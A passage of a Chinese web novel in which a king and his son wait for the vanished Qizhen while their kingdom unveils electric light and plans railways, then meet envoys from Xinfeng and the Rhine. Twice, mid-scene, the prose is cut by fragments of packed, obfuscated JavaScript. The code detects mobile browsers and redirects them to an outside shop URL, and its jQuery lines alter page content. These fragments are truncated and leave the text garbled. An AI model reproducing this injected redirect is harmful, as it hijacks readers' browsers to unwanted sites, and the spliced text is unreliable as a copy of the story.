在流传后世的《中土盛世录》中有这样一段文字:“……由他们组成的“大容”摆脱了百年慵懒的沉疴,拥有蒸蒸日上的面貌,享受开放的红利,被层出不穷的新玩意和新思潮冲击。人人感恩这个时代,并将之归功于他们敬如神祗的王。但无人知晓,他们心中伟大的神祗本身也是受益者,而那个真正惠及全民的先驱徒留一个隐晦的传说,在某个普通的雨日消失在时光的缝隙里,只留下她的信徒,心灵上病入膏肓,日夜饱饮思念的痛苦。” 《中土盛世录》首册面世于二十年后,而这位未来的执笔者,此刻正在城墙上与他父王并肩。 此时的栖凡心对大场面尚有眼花缭乱的触感,问了一个到他执笔《盛世录》的年龄时看起来很幼稚的问题:“妈妈说精装房比毛坯房更难装修,因为要先拆旧。人是老人,国家却焕然一新,爹爹怎么做到的?” 风宿恒凝视远方,片刻后道:“给予希望。” 凡心不是没看出风宿恒的心不在焉,他们之间从不禁谈,但确实每次提到妈妈,爹爹就会有些异样。 对凡心而言,说起栖真就是撕开伤口,但他需要这种痛,所以甘之如饴不断提及,让妈妈在日常的每个重要瞬间生活在他们中间。 可爹爹大概不这么想,风宿恒太过云淡风轻,总以轻松口吻说你娘只是人在征途,总有一日倦鸟知返。风宿恒至始至终这般态度,久而久之,他心里得了不少安慰。 最爱的人在这里,妈妈一定会回来,就像曾经那五年! 风宿恒收回思绪,看向城下乌压压的人头:“执政从来不是一蹴而就的事,痛骂不移,欢呼不迷,看得长远还要着眼当下。这次年货节你办得不错,满朝文武都拥戴你。” 所谓“办得不错”,不仅仅指明面上的热闹。 他们身后除了满心自豪的朝臣,还有面色迥异的使节。 客从远方来,使节们亲眼见证了大容的繁盛,却摸不清虚实。他们带来商业盟约的缔结,又在适才的宴席上领回大容王给各国君主捎去的书信。使节们不能拆信,不会知道那些信件是大容王相邀各国君王来大容秘密置产的邀约——有些交易适合隐在背后,那是维系和平的关键。 年货节只是一个鱼钩,整套计划由凡心统领,今日递交的盟约数量验证了他一半的成功,而另一半,要看之后半年内,有多少君王上钩。 如今父子俩站在城头,城下是凡心辛苦两月的目下成果,身后才是他们真正谋划的长远图景。 凡心的血沸起来了。 首次涉足政事,他发觉过去那个对继承王位带有些微抗拒、言之凿凿要去寻找方向的自己真是肤浅。 作为一个政坛门外汉,他并无资格仗着青春对他爹爹要交托的位子评头论足。 如果事业也有段位,做一个优秀的君主就是其中的王者! 不是说他是风宿恒的儿子就必须走上王座,而是他如今懂得一旦迷上这种高段位的游戏,不会再有什么挑战入得了他的眼。 这就是他最好的选择! 这就是他的选择! “父王。”凡心轻声道。 “爹爹”是亲昵,一声“父王”却代表更多,凡心虔诚道:“您是高山,但并非无法逾越,我的选择就是在同一条赛道上超越您。” 风宿恒笑了。 凡心郑重道:“至死不渝。” 风宿恒:“好。” 此时宣鼓三声,满城一静,礼官在城头高声,欢迎远来者参加大容第一届光影璀璨年货节,并宣唱新年祝福:“福启新岁,辞暮尔尔,烟火年年……” 宫人递上托盘,风宿恒道:“唤你同来,是想你按下此匝。既然你如此自信,去创造自己的盛世吧,这一次还是我来。” 凡心嘴角一抽:“爹爹……” 风宿恒握住闸柄往下一按,瞬间,就在他们眼皮底下,铺满整个街道的珠片小灯在空中依次亮起,一眨眼从城墙亮至街尾,整条大道大放光明。 人潮惊呼,被头顶景象震颤,竞相转首去看。 光影璀璨……所有人都以为只是一句口号,没想到是真的。 金光万丈城亮起来了! 大容人…不…中土人首次见到这种奇景,没人知道照亮夜空的是什么东西,他们只知此刻感受到的震撼。 ………… 灯光亮起来的刹那,万叶飞回头去找那双璀璨的眼睛,激动道:“我说过,我们可以做到!” 慕容烟月流下激动的泪水,皇天不负苦心人,是的,她知道他们可以做到! 不由想起栖真的话:“这是电灯,通电才能亮的一种器具,闪电能照亮半片天空,若我们能人工发电,人类将从此对抗黑夜。” 是的,对抗黑夜! 根据栖真给的资料,他们不眠不休泡在工坊,尝试燃烧煤炭的火力发电,研制灯丝、电线和电闸,烧制足够透明的灯泡,终于赶在年货节,将这一刚刚面世还称不上成熟的技术亮相世人。 如今他们亲眼看到了,全城的百姓也看到了,但当初提出这一设想的人又去哪里了呢? “她为何不在?这么重要的时刻,所有人都在,为何就她不在?”阿月低喃,泪湿衣襟。 万叶飞目光灼灼地看着阿月:“栖真会回来,一定会!她开创的盛世,她怎舍得不看,我从未觉得栖真真正离开,我每日见到工坊里堆成山的手稿,就觉得她在身后抽鞭子。” 阿月破涕为笑:“老说她抽你抽得凶,我看你心甚喜。” 万叶飞笑着凝视她。 开始是整日相伴,之后是一次阴差阳错的酒后乱性,再之后是床笫间的征服和救赎,现在他越发贪心,想要更多。 知道怎样的表情最为深情款款,但这些技巧他全不需要,万叶飞发自肺腑说:“你说的,我们能做到你就答应。今日你点下头,明日我便找容宫主提亲,倾我所有娶你为妻,我想照顾你和小辛。阿月,求你了。” ……… 同一时间,山海遥的长棚边,柳絮回痴痴看着漫天灯火:“这是我们的金光万丈城啊!阿瑶,是不是像做梦?他们当初立军令状,一定赶在年货节前把电灯研制出来,真地做到了!” 山遥眼里映照着璀璨,轻轻嗯一声。 柳絮回抹泪:“半年了,我只要一闭眼就想起沈兰珍,她们竟然是同一个人,她总能创造奇迹,现在我才明白栖真心里有多苦。” 山遥伸手档开就近的人群,护着身边的大肚。六个月的孕肚大得像八个月,他刻意冷声:“她若回来,你待怎样?” 柳絮回虎着脸:“骂死她!” 山遥呵一声。 柳絮回横他一眼:“我可以骂,你不行!你再伤她,我砍你!” 山遥翻了个白眼,回头见阿闯挤过人群,道:“管好你家夫人,动不动就要砍人。” 阿闯揽上柳絮回的腰,护着她的大肚,温声道:“一眨眼跑哪里去了!人多,别离开我身边。” 山遥挥手:“回你们摊位去,英迈又要跳脚了。” 看着柳絮回和阿闯消失在人群,山遥隐在人来人往的热闹中,再次望向皇城上的身影,任思绪游离。 仇也好恨也罢,都磨淡了。 当初也叫了他三年风大哥,满心满眼地崇拜,如今没力气恨了,但要他和这人多说一个字,也是万万不能的。 山遥返回大棚,看着棚内充塞的客流,心是满的。 ……… 亥时后雪更大,街上行人渐少。 年货节举办三天,不少人开始收摊,使节们回下榻的驿馆,群臣也开始散去。 尚相最懂大容王的心,一直留到最后,将明日诸多安排再回一遍给凡心听。 外面雪大,移步城阙,凡心拱手道:“尚相操劳,此间多亏有您。” 尚可薪回礼:“殿下两日没合眼,今日亮灯仪式一切顺利,不如和陛下早些回宫歇息。大小陈和付春的驿馆我们都派人盯着,辛丰使臣回到驿馆就招人匆匆走了,如今看来反倒最不用担心。” 风宿恒重获辛丰太子尊荣,但辛丰不能接受一个独身的王。凌潇帝久卧病榻故态复萌,三道圣旨,一道比一道狠厉,催风宿恒在婚事上给予交代,否则就撕毁和大容的盟约,将三年一次的承乾坛改为三月一次,放那些尚有反骨的弟弟发起挑战。 此次年货节,集市上展示的是民生、科技和业态;宫宴上呈现的是矿藏、兵备和武器。大容借机亮剑,以温和的方式让凌潇帝知道,现在不是他大儿非要当太子,而是只有风宿恒成为未来的辛丰王,才有可能带领辛丰像如今的大容一样脱胎换骨。 凡心笑了,爷爷要爹爹娶后妈,爹爹能同意?他妈不在,看谁敢占这个坑! 其实他打心眼里觉得,爹爹才是失去最多的人,也是所有人里最忽略自身创伤的那一个——统治的国家日新月异,得朝廷支持的可能宫如日中天,扶持自己成王的道路上,他花的心思远胜任何一个亲生父亲,他大部分时候待在万仞山,通过影像石和朝臣会晤,条分缕析,效率极高,与之亲临庙堂并无差别,甚至因为影像石传递的面容和声音太过冷静,反倒在观者心中加固其无坚不摧的印象,以至于亲者皆知他悲伤,却没人看出他伤心。 可爹爹越平静,凡心就越心疼他。 “陛下!”尚可薪失声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080687|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡心回头,忙跑出城阙,就见一直站在城头的风宿恒御剑,腾空时扔下一句:“你看着点,我先走了。” 目送爹爹消失在雪茫中,凡心吃惊:“说好今天住宫里的!” 尚可薪在身后轻叹:“陛下连一晚都不放心吗?” 凡心头痛地捏一捏眉心:“容叔叔守在洞里,父王不用回去的,但……算了,让他去吧。” ………… 万仞山,回真洞。 坟头山改名字了。 自从半年前发生事故,坟头山就改名“回真山”,风宿恒厌弃“坟头”两字,不想让等人回来的地方叫“坟头”。 寂寂子夜,万仞山巅却无风雪,山上连着下面的悔悟镇灯火全歇。 只有回真洞还有光亮,风宿恒御剑尚远,都能从洞顶的天窗看到透出的萤光。 洞顶破开处已用山石和胶土填补,万叶飞做了加固,用明璃给山洞开了天窗。白天洞中不再需要灯火照明,阳光从纯净的玻璃透下,晚上看星亦是绝佳。 自从栖真消失,回真洞内再没断过人,大多时候由风宿恒独守,必须回朝的日子就让凡心来。像今日盛事,大容王和太子必须出席,就把回真洞交托容绽。 一日又一日,一月复一月……三个男人怀揣期望轮流蹲守,风宿恒认为这事只能他们做,谁能预料栖真回来时的状态呢?而山上懂疗愈术的只有他们三个。 风宿恒抖落风雪走进洞中,洞里的高科技俱已收回洞壁,维持空旷模样,多置了些家舍而已。 点燃两盏格子灯,弄得光亮些,至少让桌前伏案的人看起来别像幽暗中的一缕孤魂。 久坐的身影终于停笔,清冷道:“回来了。” 风宿恒嗯一声:“顺利。” 从洞底架子上取来寒潭清,拍开封土灌了口,到桌边坐。 容绽摸到笔架搁笔,卷起一晚写的笔记起身待走,闻到酒香又停步,低声问:“好看吗?” 风宿恒:“全城轰动,举世瞩目。” 容绽侧首“望”向洞外,心随之飞远,片刻后不走反坐:“劳烦,给我一坛。” 几口寒潭清不至于让风宿恒醉,但今晚他就是想醉,看着满城灯火,看着她的杰作,他再难忍耐。 回来,只因身份不允许他有太多外漏的情绪,可他想好好喝一场,不真醉,至少可以独自发泄。 但现在有人也要一坛。 行,两个人也行! 风宿恒取来,和容绽对坐,你一口,我一口,自顾自喝。 他们本非互诉衷肠的熟稔,更少有机会面对面,大抵因为平时太忙又互不待见。 今晚能喝到一起,不过缘自某种心照不宣的执念,有些东西凡心不懂,唯有他俩才能互通。 最后还是容绽开口,他酒量比不上风宿恒,半瓶下去,苦就翻捣上来:“上次,你怎么把她弄回来的?” 风宿恒倚在椅上,这是栖真在香满路的座椅,他取来放在洞中,一面灌酒,一面浑不在意道:“割了我的神识去喂炼魂鼎,把她破碎的神识拼回来而已。一命换一命有用,这次我也拿去换。” 容绽不是不知风宿恒以魂伺鼎的事,当初风宿恒舍己救人,说明人定胜天,他们再想想办法,割他神识都行,说不定能将栖真找回来呢? 风宿恒撩了一眼陷入沉思的容绽。 ——穿梭仪带我去别的时空,等我,我会回来!不要割神识,不要炼魂鼎! 风宿恒呵一声,又一口冷酒下肚,出口的话带着只有他知晓的残忍和自得:“这是她临走前说的,是我看着她的口型,一个字一个字留给我的!她要我等她,她会想办法回来,只不过这次她不让我用炼魂鼎,我再一命换一命,她回来不会放过我。” 容绽心中酸涩,在风宿恒面前他可以表达焦虑,但没立场表现愤怒,除了大口灌酒压心底无名火,还能怎样呢? 容绽冷道:“半年了。” 风宿恒嘴角咧出混不吝的哼笑:“不过是等她五年。” 容绽:“五年不回呢?” 风宿恒仰头靠着椅背:“再等五年。”她回来前,岁月于他不过是一个又一个空白的五年。 有些晕,醉意上头。求醉呢,这感觉正好! 看向窗外深邃的夜,低喃道:“最近我总是有个念头……我若活到百岁,她赶得及在我闭眼前回来我便知足——如果这样我都能接受,那么她在我闭眼前一天回,我就赚到一天,在我闭眼前一年回,我就赚到一年……无论何时回都是老天垂怜,有生之年还得见,我死而无憾了。” 容绽重重搁杯,也有些醉:“我对自己说的话,我的心里话……你也要抢?” 数着日子过,余生皆妄念,每时每刻都煎熬;不如倒着日子盼,从此皆感恩,等待幸运来眷顾。 否则光都没了,只剩黑暗;否则……真没活头了。 风宿恒拍桌:“我明天见阎王,今日她回来见的也是我。” 酒坛震倒,湿了容绽衣摆,烈酒浇猛火,他霍然起身:“走。” 风宿恒冷笑,残酒一仰而尽,洞中不见其影。 两个醉鬼一前一后御剑东去,是夜不岔对不甘,弩风对悬河,火树银花处不输万丈城,大荒流在他们手下瑟瑟发抖。 待旭日东升,冷阳照大地,两人在沙漠中酒醒,吓出一身冷汗,飞回洞一看卸了力,各有苦涩上心头。 新年伊始,洞外清辉斜照,风宿恒理了理破损的衣襟继续蹲守,低喃道:“愿新年……” “……胜旧年。” 容绽轻声接道,挥挥褴褛的衣袖走人。 225. 第 225 章 金光万丈城,晨阳殿。 特使张之幸今年八十一了,作为辛丰老臣,故去的凌潇帝对他都要敬上三分。 他坐在堂下不动如山,眼皮枯松,抬目看殿上端坐的人。 满殿文武面色不善,愤怒的眼神集中在他身上,但张之幸从不惧怒目,不畏人言,因为他背后站的是辛丰全班内阁老臣。 这是张之幸首次踏足东土,知殿上主事者不过弱冠,没占正中王座,居左自成一桌,只因太子殿下尚未继位,但已掌实权。 捕捉到太子阅读间隙撇来的目光,张之幸想,这人倒是个稳重的,亏在长得太俊——太俊的年轻人都自视甚高,太俊的身居高位的年轻人更易刚愎自用——这是通则。而一个刚愎自用的上位者,是很好拿捏的。 向上施压是他立足三朝的绝活,对方开口前是好时机,张之幸一字一句铿锵道:“雍贵王明盏,天下最负盛名的异性王,辛丰八王之首;梵英梵大人,本朝左相,辅佐两朝帝王四十余载;邵谦邵大人,右相兼宏图阁大学士,统领乾都防务;韩灿韩大夫,先帝太傅,太傅院掌魁;曾远曾阁老,内阁大学士,文名满天下……殿下手上这封请愿书,便是他们五人鲜血写就,分量当得起我满朝意愿。还请殿下转交大容王,请陛下速速回朝登基。” 这封血书言辞激烈,是威压,也是逼迫,纵使这后生看完气到掷地也不是不可能。 张之幸话落,谁知殿上仍然一片安静,上首的太子并不急于搭腔,只是认真地读下去。 阅毕,才见他将请愿书在桌上摊平,唤人奉上锦匣,亲自将叠好的血书放进去。 态度不可谓不恭敬。 做完这些,才听太子温声道:“张大人远道而来,喝口茶,润润嗓。” 说着抬起面前茶盏,做了个请的动作。 张之幸只好捧茶,礼让后抿了一口。 太子殷殷相询:“凌潇帝宫中停灵七日,今日已是第六日了吧?” 张之幸道:“是。” “虽未谋面,毕竟是孤的爷爷。”太子面露遗憾,唤道:“尚相。” 尚可薪出列回禀:“大容已备随葬大金人十二尊、珠母往生杯十二盏、掐丝含口玉十二枚、添葬锦帛被十二箱,谴国使奉送。另嘱全国神龙庙七日内燃千盏长明灯祈福。” 太子首肯:“翻个倍吧。父王与孤,该算两份。” 尚可薪应命入列。 太子又看向张之幸:“父王得知丧讯后第一时间回辛丰奔丧,听说大人们颇有微词,父王才不得不暂回大容。今日老大人持这样一份请愿书来,何意呢?” 张之幸微微躬身,半揖道:“大容王贵为大容之主,又是我朝太子,何人敢置微词?这封血书实乃我朝忧国忧民的老臣献给大容王几句掏心掏肺的话。” 太子笑着摇头:“父王去辛丰时你们不说,如今他回来了,到派人专门走一遭。” 听大容太子这么说,张之幸觉得他没明白他们此举的深意,心里嗤笑一声,把心放下了。 他临危受命,明白此次领的绝非美差。来大容一趟,不直面大容王反而是好的,让面前这个小娃娃传话,于他、于辛丰就是留有余地。大容王常年盛名,其父凌潇帝一生都没搞定这个儿子。幸好如今见的是个阅历不深的小太子,他张之幸还能搞不定? 便道:“老臣们日夜跪于朝阳门外,诚心祈求陛下速速回朝主持大局。待先帝出殡,好着手登基事宜。那些当面诉不得但必要归正的话,但凭一份请愿书道明。” 太子指了指锦匣:“老臣们确是忧国忧民,连‘非经背圣,不正邦典’这种话都祭出来。父王一日不下诏立后,他们便长跪不起?” 张之幸:“殿下此言差矣。这立后诏书不用大容王下,是先帝遗诏里早立好的。大容王只需将登基和立后两旨一并领去,登基之日便是大婚之时,从此上下一心!我等老臣忠于正统,其他皇子再有能力我等也不会拥戴。可若大容王一意孤行,那这‘非经背圣,不正邦典’八个字,就不是呈于臣等血书,怕要镌刻史书了。” 太子倒是大方:“史书只关心最终上位者,父王铁了心也无妨,孤还有不少叔叔呢。” “殿下呀!”张之幸道:“大容王是我朝大皇子,又两次于承乾坛上夺得太子尊荣,登基成王名正言顺,老臣忠心天地可鉴!” 太子莞尔一笑:“既然顺理成章,老大人们何必伤筋动骨长跪不起,又何需自伤体肤上呈血书?大人们如此相逼,只给父王两条路,要么立后登基,要么放弃皇位,就不怕适得其反,让父王寒心?” “帝王之尊当得全民表率,大容王不惑之年却无妻无室,纵使登上帝位也会被人戳脊梁骨。哪允史书歪我风氏皇族清名!” 钟雄出列呵斥:“张大人慎言!太子驾前,哪有如此诋毁陛下的道理?什么无妻无室?陛下此生属意一人,绝不会娶什么雍贵王之女!” 张之幸脑袋没动,撇了钟雄一眼,眼神满满不屑:“既为殿下生母,想必出生不凡,还请将军告知名讳。只要贵族出身,大容王立其后也不是不可。那后日陛下可否携妻同至辛丰,登基与封后,便一并办了。” 太子伸手安抚两边,缓去殿内紧张气氛:“大人一路过来辛苦,现下也到午膳时分,先传膳吧,边吃边说。” 当下没管张之幸还待开口,只管让人传膳。 边议事边用膳有违规制,在辛丰臣子看来不可思议,但张之幸看得出,在大容这好像司空见惯。 托盘很快端上,张之幸瞪着眼前的锅子和菜色无所适从。偷看殿上,大家纷纷拧开炉子后端的开关,炉上火苗就燃起来了。 太子叫了一声:“紫鹿。” 身后随伺的青年到张之幸身边,帮他打开开关:“张大人,这是燃气罐,开这里就好。火大火小,这边调节。” 太子和群臣趁此间隙聊起别的,张之幸面上八风不动,心里却起好奇。 紫鹿热情,并不杵对方威严,一面介绍锅中汤汁沸滚,可以依次下菜,一面闲聊般道:“有了这东西,家家户户烧饭不用柴火,简单得很。” 反正是私下嘀咕,不碍观瞻,张之幸问:“现在大容每家每户都用这个?怎么做出来的?” “罐子里的是煤气,用煤烧出来的,便宜,好用。” 不过片刻,锅中汤汁沸起来了,张之幸依次下菜,耳朵却扯起,听殿上闲谈。 大容一帮群臣聊得随意,也不避他这外臣。 有说本月万丈城电量超标,一所发电厂已无法应付的;有说什么终于研制出钢□□具,可以将枪械升级的;还有火车用地已规划好,就待堪地院给出铁量数据,官窖一时半会儿承接不了,还得看举国匀出多少私窖,或由官方募股再建铁厂的。 无人高声喧哗,也无慷慨陈词,就你唰一片肉,我吃一叶菜,上上下下,你一言,我一句,像好友围炉夜话,或一大家子饭时拉家常,商量商量明年地里种什么,吐槽吐槽隔壁的狗偷了我家的菜。 但那些闲闲散散的内容,却听得张之幸心惊。 几年了? 啊,四年多了! 自从金光万丈城第一届光影璀璨年货节上出现电灯这样东西,数年里大容层出不穷的新玩意便引领潮流,看得别国眼馋。 可难就难在这里——在大容什么都能买到,但要将工艺和技术复制回去,至今没有一国办到。 即便辛丰这个大容近亲,从大容入货的配额比其他国家高很多,至今也只弄得到成品。 那些在大容称为“基建”的技术、遍地开花的工窖和火窖、自称“流水线的制造工艺”,辛丰一样没琢磨透,派人偷师也只学到皮毛。以至于今时今日辛丰看大容,好比凡人看神仙,又爱又慕又羡又嫉! 好在辛丰有两点聊以□□。 一是大容再强不过弹丸小国,二是大容王风畅便是下任辛丰王——无论大容如今势头多猛,一旦风宿恒即位,辛丰也将成为第二个令人欣羡的大容! 那念头太过大逆不道,张之幸有,不信朝上其他人无——当凌潇帝卧床五年,终于在七日前咽气时,他们恸哭得有多伤心,内心就有多雀。 怎么可能拥立别人?即便今日四皇子和八皇子上蹿下跳要篡位,都不用大皇子风宿恒动手,他们这帮老臣也要竭力按下。 他们真心想拥立的君王只有一个,也只能是那一个。 可问题在于那一个从小反骨,趁着即位的节骨眼上,老臣们自然要拿捏拿捏。 婚事是好借口,掌握分寸则是大学问。 一顿火锅……张之幸当然知道这是大容顶顶出名的火锅……吃得他食不下咽。当太子询问他是否吃饱,是否想饭后散个步时,张之洞都有些犹豫,恨不得在殿内多坐会,再听他们君臣闲聊几句。 但太子相邀,他不能说不。 太子跨出殿外前,身边人又将午后安排的朝见事宜提醒一遍。跟在身后的张之洞听在耳里,和太子走上长廊时便问了一句:“莱茵使臣?莱茵是什么地方?” 太子身量修长,站在年迈的老者身边,茂林修竹,风度翩翩。他并不走快,就着张之幸的步调与之并肩:“张大人高寿,腿脚倒利索,走起来虎虎生风。” 这话老人家爱听。张之幸对身边的年轻人大大改观——没架子,易亲近,当王兴许缺少杀伐气,但不刚愎自用,是个听人话的。 八月里太阳毒,沿宫廊入花园。太子手背身后,闲适道:“大人知道,大容临海,海的另头有什么却无人知晓,两年前大容谴船队下南洋,探到了莱茵国,那是一片比中土更广阔的大陆。” 张之幸惊得合不拢嘴:“还有此等事?从未听说过啊!” “莱茵国力强盛,远胜我们,半年来双方于海上陆续交战,我们的战船根本不是对方敌手。一个月前离岛一战,大容输得很惨,大人不妨看看这个。” 带张之幸到园中一处榭楼,推门进去,就见堂中有一张硕大的模型桌。 这是城市规划馆里常见的城市3D模型,张之幸却首次见到如此惟妙惟肖的模型盘,山川地形照实微缩,让观者有一览众山小的缭乱感。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091265|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >辛丰朝堂议事,看的还是模糊不详的手绘地图,大容都用上如此先进的模盘了。 张之幸压下惊艳,找到模盘上的辛丰和大容,还注意到了中土东南海域外占据整片角落的疆土。 “莱茵国这么大?”张之幸弯腰细看。 “这片陆地究竟多大,莱茵国外还有多少国家,我们尚未探明,但预感不小。” 张之幸悬身,指着那片褐色的纯素土地:“尚未探明,如何下此结论?” 太子微笑:“一片孤悬海中的狭小陆地,不可能孕育出莱茵那样先进的文明。” 张之幸:“多先进?” “他们有战舰,有装甲船,舰队都备有连发的加农炮,射程二十海里。”太子取过桌边长杆,指向大容和莱茵间深蓝的海域,那里有对方的舰队模型:“拥有这样的装备,可以断言,他们的社会发展水平至少比我们先进二十年。” 张之幸瞪眼。 不愿承认,但他觉得辛丰大概比大容落后二十年,而莱茵比大容还要先进二十年? 正值酷暑,老人家却禁不住冷颤。 他的视线移向大荒流。 此次随人御剑,他从空中俯瞰,地上长龙永嘉道让他印象深刻。可现在模盘上最吸引他注意的,却是本该荒芜一物的大荒流东北处,有一个巴掌大小、剪成圆形的黑纸片,贴在大荒流东北方的沙漠里。 “这是什么?”张之幸问。 太子道:“油田。” “什么?” “原油。” 油……? 张之幸眉头舒展开……甭管什么油,应该都不足为惧。辛丰油菜田也不少。 于是他目光下移,发现永嘉往南,有条与之平行、横贯大荒流的长黑线。 “这是我们后面计划修通的铁路。”太子为其讲解:“若能通上铁路,将来两国往来的时间可以从三天压缩到三个时辰。这条万容线,终点在这儿。” 木杆指向一个地方。 那是开悟城。 西大容,第一主城! 中土文人学子毕生要去朝拜的胜地! 张之幸目瞪口呆……三个时辰……那是堪比御剑的速度!所以太子是说,以后人人都可坐上这种叫铁路的东西,只需三个时辰,就能穿越整片大荒流? “铁……铁路是什么?” 太子示意墙上:“这个。” 墙上挂着许多画,张之幸进屋被模型吸引,此时才看向太子指处。 他这辈子都没见过如此铁血的机器——“机器”这词还是适才殿上吃饭时现学的——所以这串铁马,将来要在沙漠驰骋? 大容人怎么做到呢?他们怎能造出如此庞然大物,然后让它在沙漠里动起来呢? 张之幸嗓子发紧,恨不得现在就有人为他答疑解惑,又恨自己年纪,觉得有生之年,自己未必能亲眼见到这些奇物。 但很快,这样的感叹他都无暇发出了。 因为接下来一炷香功夫里,他看遍墙上的画。那些道听途说的、宴上偷听的,在这些画里全部具象。发电厂、炼钢厂、机床厂……战船、大炮、铠甲、步枪……每样看起来都好厉害! 最后,张之幸脑袋空空,只有一个词久久挥之不去。 那个词也是他新学来的——就在适才,和太子的对话中。 文明! 他忽然开窍,懂了这两个字的意义。 大容,拥有比辛丰更先进的文明! 太子望向墙上时钟:“快申时了,回晨阳殿吧。” 张之幸不知自己怎么走回去的。当他再次落座殿上,今日来的目的已全素抛之脑后,他处于震撼中,甚至没意识到殿内已经进入下一个议程——接见莱茵使臣——此乃大容内政,他一辛丰臣子,又凭什么坐在这里。 大容太子却堂而皇之宣人进来。 殿外三声传唤后,一位身着奇装异服的高大青年步入晨阳殿。 所有的目光都集中到这位青年身上。 或者说,集中在他的服饰上。 这青年的穿着,纵使见多识广的尚相和钟雄也看不明白。 在场就没一个人看得明白。 除了太子。 莱茵使臣抵达金光万丈城已愈三日,也被晾在官驿整整三日。大容战败,对方谴使,败者本不该如此倨傲。但大容王做事,一箭双雕素来是底限,得其真传的太子有过之而无不及,索性好整以暇等辛丰来人,把两处凑作堆一日里见,效果才是加成。 所以此刻,也是太子首次见到这位莱茵使臣。 笔挺的白军装,包腿的黑马裤,膝盖下一双锃亮的皮靴,右腋夹着挂满湖绿穗条的大公帽,左手按着细细的长佩剑。 青年腰背挺直,一步步走到堂上,对上首鞠了一躬。 满殿肃静。 运筹帷幄的太子在来使投来的坚定目光里口干舌燥,低头看了眼对方抵达当日呈上来的国书。 上面有来者的名字。 莱茵伯爵……弗朗兹·约瑟夫·冯·诺依曼! 226. 第 226 章 弗朗兹·约瑟夫·冯·诺依曼…… 一路默念这个名字,御剑抵达万仞山时,凡心只在回真洞里见到他的容叔叔。 “回来过,离开两天了。” 凡心听闻,对埋首卷帙的身影恭敬一礼。 不论什么身份,是否掌权,对只身撑起万仞山的容绽,凡心始终抱有敬意。 五年来,大容拥有了一百五十家可能斋,八百个经过可能宫认证的优秀师长。大容的基础教育已经臻于完善,没有一个孩子允许掉队,培养的第一批学子已进入各行各业。 在未来十年,这些具备扎实的学术功底、思路活跃、见多识广、对新兴事物尤其渴望的新手们将逐步成为产业的中坚力量,更令人兴奋的是,优质的新鲜血液将源源不断得到输送。 当年栖真提出构想和规划,而真正将一切变为现实的,却是眼前这位容宫主。 有段时间没见,凡心不禁打量起容绽。 这男人不过而立,该是风华正茂的年纪,却在日夜辛劳的重压下有了清癯之态。他雪鬓霜鬟,面色冷白,下颌线条锐利。纵使常年合眼,都无人敢在他面前造次,可他开口又透着优容,有着年轻人无法企及的千帆过尽后的松弛。 面前一时无声,容绽顿笔,对上凡心打量的视线:“有急事找你父王,不妨在洞中等等,今日他应该不会不回。” 凡心嗯了一声:“我知道,今日是八月十六。” 容绽不再多言,垂首继续书写。 洞内有种渐渐弥漫的感伤。 很多过去拼不上的细节,这几年陆续从爹爹、袁博、聂灵鸢、颜心,甚至尚可薪处摸清。关于妈妈来到大容后的一切,凡心已全部了解,他感叹父母的爱情,对容叔叔更有敬佩和怜惜。 何谓弱水三千只取一瓢,何谓此恨绵绵无绝期……以前他还懵懂,如今深有体会。 知道爹爹心里苦,但好歹得到过,而没有立场的坚守、没有回应的忠贞更让人唏嘘。有时看着容绽,凡心都想劝他放弃,可又觉得轻易开口是对容叔叔的亵渎,这男人硬生生用自己的坚持,做出了“人人都知他爱,却无人敢说他爱”的姿态。 爹爹和容叔叔…… 凡心叹息…… 妈妈,你到底去了哪里! 五年了! 你知不知道世上有两个男人,快要为你把自己活埋! 这几年凡心自认已经没什么扛不住,但今日他很有些感伤,走出回真洞,在洞口站了片刻,任万仞山艳阳晒脸。 心头忽起预感,他猜到爹爹去哪里了。 凡心御剑,在山里一处小院落地。 此处位于万仞山以西密林,可能宫蒸蒸日上,建筑和人迹向东扩散,山西却维持着原始地貌。 这里有高峰、胡桐、清潭,还有隐匿在群山老林间黄顶白漆的小院。 一次偶然,他从聂灵鸢口中得知山里还有一处私宅,每年十二月爹爹会消失三天,谁都找不见。直到前个冬日朝中生事,不得不请风宿恒拿主意,凡心才想到聂灵鸢提过这处,抱着试一试的心态找来。 那日冰天雪地,爹爹就坐在院中,一张方桌边,一把木凳上。 雪子凝满眼睫,可他像不知冷,坐成了一个雪人。 当推门声响起,风宿恒微微起身,又跌坐回去,半天才抬起泛红的眼看过来。 那个画面至今让凡心难忘。 时隔半年,他又站在小院的篱笆门前,院里没人,还是那张方桌,今日桌上放满盘子,走近一看,小笼、蒸饺、鱼丸、菜粥……合着两份混着酱油和香油的醋碟,中间一大锅鸡汤。 菜色完好,冷冰冰搁在那里。 而院子一头的晾绳上挂着半干的女装,地上两个木盆,两个板凳,一只木盆里还有洗剩的水。 去年找来,爹爹带他径直离开,没解释过一句院落的由来。 而此刻他又带着好奇闯进这里,见到一些本不该出现在这里的东西,向他昭示着说不出口的压抑……太浓稠了……他甚至不敢上前敲门。 但心念一动间,屋门开了。 风宿恒一身常服走出来,没对凡心的到来表示意外,沉声问了一句:“有事?” 凡心额首:“爹爹。” 风宿恒挽袖收拾碗碟,将菜倒入木桶,将碗放入空盆,擦干净桌面净了手,示意凡心坐。 凡心瞪眼看他做这些。 好新奇!风宿恒干得那么熟练,像做过几百遍,可爹爹当王的时间不是比他还长? “何事?”风宿恒终于好整以暇地看过来。 “辛丰派人了。”凡心佩服他的未卜先知:“三个时辰前已经回去了。” “派的谁?” “张之幸。” 